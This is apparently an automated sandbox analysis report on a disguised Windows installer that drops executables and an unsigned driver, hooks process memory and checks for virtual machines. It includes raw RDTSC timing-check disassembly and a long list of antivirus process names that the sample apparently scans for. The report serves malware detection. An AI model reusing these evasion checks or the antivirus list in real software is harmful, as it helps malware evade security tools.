Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: -Helper process exited with failure code: 0x%x
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: -HelperRegisterTypeLibrary: StatusCode invalidU
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: /LoadInf=
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	String found in binary or memory: /InstallOnThisVersion: Invalid MinVersion string

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File read: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe "C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe"
Source: unknown	Process created: C:\Users\user\Documents\7YbcLf.exe C:\Users\user\Documents\7YbcLf.exe

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: pid.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: hid.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Section loaded: etoken.dll	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Section loaded: wininet.dll	Jump to behavior

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Static file information: File size 23573176 > 1048576

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: C:\new-builder\SAC-10.9-dev\master\SAC\Solutions\x64\Release\ManageReaders.pdb source: 7YbcLf.exe, 0000000C.00000002.2365599709.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmp, 7YbcLf.exe, 0000000C.00000000.2350217410.00007FF752D21000.00000002.00000001.01000000.0000000A.sdmp, 7YbcLf.exe.0.dr
Source:	Binary string: d:\proj_20170606_bg_lenovo_rec_disabledolby\20170606_modify\_ma4_release\x64\RAVBg64.pdb source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source:	Binary string: C:\Users\CES_AutoBuild\AppData\Local\Jenkins\.jenkins\workspace\CES20 PDR22 GM2\src\CES_CacheAgent\CES_CacheAgent\x64\Release\bin\CES_CacheAgent.pdb source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe
Source:	Binary string: c:\tools_git_priv\truesight\driver\objfre_win7_amd64\amd64\TrueSight.pdb source: aceprocted.sys.0.dr

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D1190C GetCurrentProcessId,ProcessIdToSessionId,GetSystemDirectoryW,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetLastError,GetFileAttributesW,GetLastError,FileTimeToLocalFileTime,FileTimeToSystemTime,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LocalFree,FileTimeToLocalFileTime,FileTimeToSystemTime,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,StrStrIA,LocalFree,FreeLibrary,

12_2_00007FF752D1190C

Source: initial sample

Static PE information: section where entry point is pointing to: .{,3

Source: 7YbcLf.exe.0.dr	Static PE information: section name: _RDATA
Source: eToken.dll.0.dr	Static PE information: section name: .QO
Source: eToken.dll.0.dr	Static PE information: section name: .h1c
Source: eToken.dll.0.dr	Static PE information: section name: .{,3

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	File created: C:\Users\user\Documents\7YbcLf.exe			Jump to dropped file
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	File created: C:\Users\user\Documents\eToken.dll			Jump to dropped file

Sample is not signed and drops a device driver

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File created: C:\Windows\Temp\aceprocted.sys

Jump to behavior

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	File created: C:\Windows\Temp\aceprocted.sys	Jump to dropped file
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	File created: C:\Users\user\Documents\7YbcLf.exe	Jump to dropped file
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	File created: C:\Users\user\Documents\eToken.dll	Jump to dropped file

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

File created: C:\Windows\Temp\aceprocted.sys

Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\7YbcLf.exe	Memory written: PID: 8144 base: 7FF910730008 value: E9 EB D9 E9 FF	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Memory written: PID: 8144 base: 7FF9105CD9F0 value: E9 20 26 16 00	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Memory written: PID: 8144 base: 7FF910740005 value: E9 EB D9 E8 FF	Jump to behavior
Source: C:\Users\user\Documents\7YbcLf.exe	Memory written: PID: 8144 base: 7FF9105CD9F0 value: E9 1A 26 17 00	Jump to behavior

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D11000 GetCurrentThreadId,GetModuleHandleA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetCurrentThreadId,Sleep,

12_2_00007FF752D11000

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: GETDATAC:\USERS\TTRUESPANL.SYS360SAFE.EXE360SD.EXE360RP.EXE360RPS.EXE360TRAY.EXEZHUDONGFANGYU.EXELIVEUPDATE360.EXE360LEAKFIXER.EXE360SDRUN.EXE360SDUPD.EXE360FILEGUARD.EXEDEP360.EXESRAGENT.EXEMODULEUPDATE.EXEFILESMASHER.EXEAGREEMENTVIEWER.EXESOFTMGRLITE.EXEKANKAN.EXESUPERKILLER.EXEDUMPUPER.EXEDSMAIN.EXEDSMAIN64.EXEFIRSTAIDBOX.EXECHECKSM.EXEHIPSMAIN.EXEHIPSDAEMON.EXEHIPSTRAY.EXEHRUPDATE.EXEHIPSLOG.EXENETFLOW.EXEAUTORUNS.EXEUSYSDIAG.EXEWSCTRLSVC.EXEWSCTRL.EXEKXEMAIN.EXEKXESCORE.EXEKSCAN.EXEKXECENTER.EXEKXETRAY.EXEKDINFOMGR.EXEKISLIVE.EXEKNEWVIP.EXEKSOFTPURIFIER.EXEKTRASHAUTOCLEAN.EXEKAUTHORITYVIEW.EXETQCLIENT.EXETQEDRNAME.EXETQSAFEUI.EXETQTRAY.EXETRANTORAGENT.EXETQDEFENDER.EXETQUPDATEUI.EXETQWATERMARK.EXEDLPAPPDATA.EXENACLDIS.EXEMSMPENG.EXEMPCMDRUN.EXELDSHELPER.EXELDSSECURITY.EXELDSSECURITYAIDER.EXECOMPUTERZTRAY.EXECOMPUTERCENTER.EXEGUARDHP.EXECOMPUTERZ_CN.EXECOMPUTERZSERVICE.EXECOMPUTERZSERVICE_X64.EXEHDW_DISK_SCAN.EXECOMPUTERZMONHELPER.EXEDRVMGR.EXEWEB_HOST.EXE2345SAFECENTERSVC.EXE2345RTPROTECT.EXE2345SAFESVC.EXE2345MPCSAFE.EXE2345SAFETRAY.EXE2345SAFEUPDATE.EXE2345VIRUSSCAN.EXE2345MANUUPDATE.EXE2345ADRTPROTECT.EXE2345AUTHORITYPROTECT.EXE2345EXTSHELL.EXE2345EXTSHELL64.EXE2345FILESHRE.EXE2345LEAKFIXER.EXE2345LSPFIX.EXE2345PCSAFEBOOTASSISTANT.EXE2345RTPROTECTCENTER.EXE2345SHELLPRO.EXE2345SYSDOCTOR.EXELENOVOPCMANAGERSERVICE.EXELENOVOPCMANAGER.EXELAVSERVICE.EXELENOVOTRAY.EXELNVSVCFDN.EXEWSCTRL7.EXEWSCTRL10.EXEWSCTRL11.EXELENOVOAPPUPDATE.EXELENOVOAPPSTORE.EXEDESKTOPASSISTANTAPP.EXEDESKTOPASSISTANT.EXELENOVOMONITORMANAGER.EXELENOVOOKM.EXELEASHIVE.EXESTARTUPMANAGER.EXEWSPLUGINHOST.EXEWSPLUGINHOST64.EXECRASHPAD_HANDLER.EXESEARCHuser.EXELISFSERVICE.EXELSF.EXEAPPVANT.EXELENOVOINTERNETSOFTWAREFRAMEWORK.EXEEMDRIVERASSIST.EXELEAPPOM.EXEHOTFIXPLATFORM.EXEMSPCMANAGER.EXEMSPCMANAGERSERVICE.EXEAVP.EXEAVPUI.EXEAVASTSVC.EXEASWTOOLSSVC.EXEASWIDSAGENT.EXEWSC_PROXY.EXEAVASTUI.EXEAVIRA.SPOTLIGHT.SERVICE.EXEENDPOINTPROTECTION.EXESENTRYEYE.EXEAVIRA.SPOTLIGHT.COMMON.UPDATER.EXEAVIRA.SPOTLIGHT.FALLBACKUPDATER.EXEAVIRA.SPOTLIGHT.UI.APPLICATION.EXEAVIRA.SPOTLIGHT.SYSTRAY.APPLICATION.EXEAVIRA.OPTIMIZERHOST.EXEAVIRA.SPOTLIGHT.BOOTSTRAPPER.EXEAVIRA.SPOTLIGHT.SERVICE.WORKER.EXEAVIRA.SPOTLIGHT.COMMON.UPDATERTRACKER.EXEAVIRA.SPOTLIGHT.UI.APPLICATION.MESSAGING.EXEAVIRA.SPOTLIGHT.UI.ADMINISTRATIVERIGHTSPROVIDER.EXEMFEMMS.EXEMFEVTPS.EXEMCAPEXE.EXEMCSHIELD.EXEMCUICNT.EXEMFEAVSVC.EXENISSRV.EXESECURITYHEALTHSYSTRAY.EXEKWSPROTECT64.EXEQMDL.EXEQMPERSONALCENTER.EXEQQPCPATCH.EXEQQPCREALTIMESPEEDUP.EXEQQPCRTP.EXEQQPCTRAY.EXEQQREPAIR.EXEQQPCMGRUPDATE.EXEKSAFETRAY.EXEMPCOPYACCELERATOR.EXEUNTHREAT.EXEK7TSECURITY.EXEAD-WATCH.EXEPSAFESYSTRAY.EXEVSSERV.EXEREMUPD.EXERTVSCAN.EXEASHDISP.EXEAVCENTER.EXETMBMSRV.EXEKNSDTRAY.EXEV3SVC.EXEMSSECESS.EXEQUHLPSVC.EXERAVMOND.EXEKVMONXP.EXEBAIDUSAFETRAY.EXEBAIDUSD.EXEBKA.EXEBKAVSERVICE.EXEBKAVSYSTEMSERVER.EXEBKAVSYSTEMSERVICE.EXEBKAVSYSTEMSERVICE64.EXEBKAVUTIL.EXEBLUPRO.EXEBLUPROSERVICE.EXECEFUTIL.EXEPOPWNDLOG.EXEPROMOUTIL.EXEQHACTIVEDEFENSE.EXEQHSAFEMAIN.EXEQHS
Source: 7YbcLf.exe, 0000000C.00000002.2364946207.000001AC19289000.00000002.00001000.00020000.00000000.sdmp	Binary or memory string: AUTORUNS.EXE

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	RDTSC instruction interceptor: First address: 14000125E second address: 140001285 instructions: 0x00000000 rdtsc 0x00000002 nop 0x00000003 nop 0x00000004 dec eax 0x00000005 shl edx, 20h 0x00000008 nop 0x00000009 nop 0x0000000a dec eax 0x0000000b or eax, edx 0x0000000d nop 0x0000000e nop 0x0000000f dec eax 0x00000010 mov ecx, eax 0x00000012 nop 0x00000013 nop 0x00000014 nop 0x00000015 nop 0x00000016 dec eax 0x00000017 xor edx, edx 0x00000019 nop 0x0000001a nop 0x0000001b push ebx 0x0000001c nop 0x0000001d nop 0x0000001e pop ebx 0x0000001f fldpi 0x00000021 nop 0x00000022 nop 0x00000023 frndint 0x00000025 nop 0x00000026 nop 0x00000027 rdtsc
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	RDTSC instruction interceptor: First address: 140001285 second address: 140001285 instructions: 0x00000000 rdtsc 0x00000002 nop 0x00000003 nop 0x00000004 dec eax 0x00000005 shl edx, 20h 0x00000008 nop 0x00000009 nop 0x0000000a dec eax 0x0000000b xor ebx, ebx 0x0000000d nop 0x0000000e nop 0x0000000f dec eax 0x00000010 mov ebx, edx 0x00000012 nop 0x00000013 nop 0x00000014 dec eax 0x00000015 or eax, ebx 0x00000017 nop 0x00000018 nop 0x00000019 dec eax 0x0000001a sub eax, ecx 0x0000001c nop 0x0000001d nop 0x0000001e nop 0x0000001f dec ebp 0x00000020 xor edx, edx 0x00000022 nop 0x00000023 nop 0x00000024 dec esp 0x00000025 mov edx, eax 0x00000027 nop 0x00000028 nop 0x00000029 dec ebp 0x0000002a cmp edx, eax 0x0000002c nop 0x0000002d nop 0x0000002e jc 00007F0BF04F132Ah 0x00000030 fldpi 0x00000032 nop 0x00000033 nop 0x00000034 frndint 0x00000036 nop 0x00000037 nop 0x00000038 rdtsc
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	RDTSC instruction interceptor: First address: 1EA5F2 second address: 1EA5F2 instructions: 0x00000000 rdtsc 0x00000002 dec eax 0x00000003 shl edx, 20h 0x00000006 dec eax 0x00000007 or eax, edx 0x00000009 mov ecx, dword ptr [esp+24h] 0x0000000d add ecx, eax 0x0000000f mov eax, ecx 0x00000011 mov dword ptr [esp+24h], eax 0x00000015 jmp 00007F0BF11518A7h 0x00000017 mov eax, dword ptr [esp+20h] 0x0000001b inc eax 0x0000001d mov dword ptr [esp+20h], eax 0x00000021 cmp dword ptr [esp+20h], 000003E8h 0x00000029 jnl 00007F0BF11518E9h 0x0000002b rdtsc

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Window / User API: threadDelayed 559			Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Window / User API: threadDelayed 440			Jump to behavior

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe

Dropped PE file which has not been started: C:\Windows\Temp\aceprocted.sys

Jump to dropped file

Source: C:\Users\user\Documents\7YbcLf.exe

API coverage: 2.4 %

Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe TID: 6900	Thread sleep count: 559 > 30	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe TID: 6900	Thread sleep time: -279500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe TID: 6900	Thread sleep count: 440 > 30	Jump to behavior
Source: C:\Users\user\Desktop\#U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe TID: 6900	Thread sleep time: -220000s >= -30000s	Jump to behavior

Source: C:\Users\user\Documents\7YbcLf.exe

Code function: 12_2_00007FF752D19AE0 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,

12_2_00007FF752D19AE0

Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_5e38a278d114b813
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware Virtual USB Mouse
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware, Inc.e
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: vmci.syshbin
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware, Inc.
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware-42 17 53 71 ea 62 82 e8-b2 93 b7 a7 7f 7a dc 93
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware VMCI Bus Device0
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: Manufacturer VMware, Inc.(vk
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW71.00V.16460286.B64.2006250725,BiosReleaseDate:06/25/2020,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware7,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1(vk
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&354ae4d7&0&000000
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/5&1ec51bf7&0&000000
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,root\vmwvmcihostdev
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: vmci.inf_amd64_5e38a278d114b813,
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: vmci.sys
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: \driver\vmci,\driver\pci
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/5&354ae4d7&0&000000
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware7,1
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: NECVMWar VMware SATA CD00
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: #U8f6f#U4ef6#U5305#U5b89#U88c5#U7a0b#U5e8f2.0.2.exe	Binary or memory string: VMware7,1p
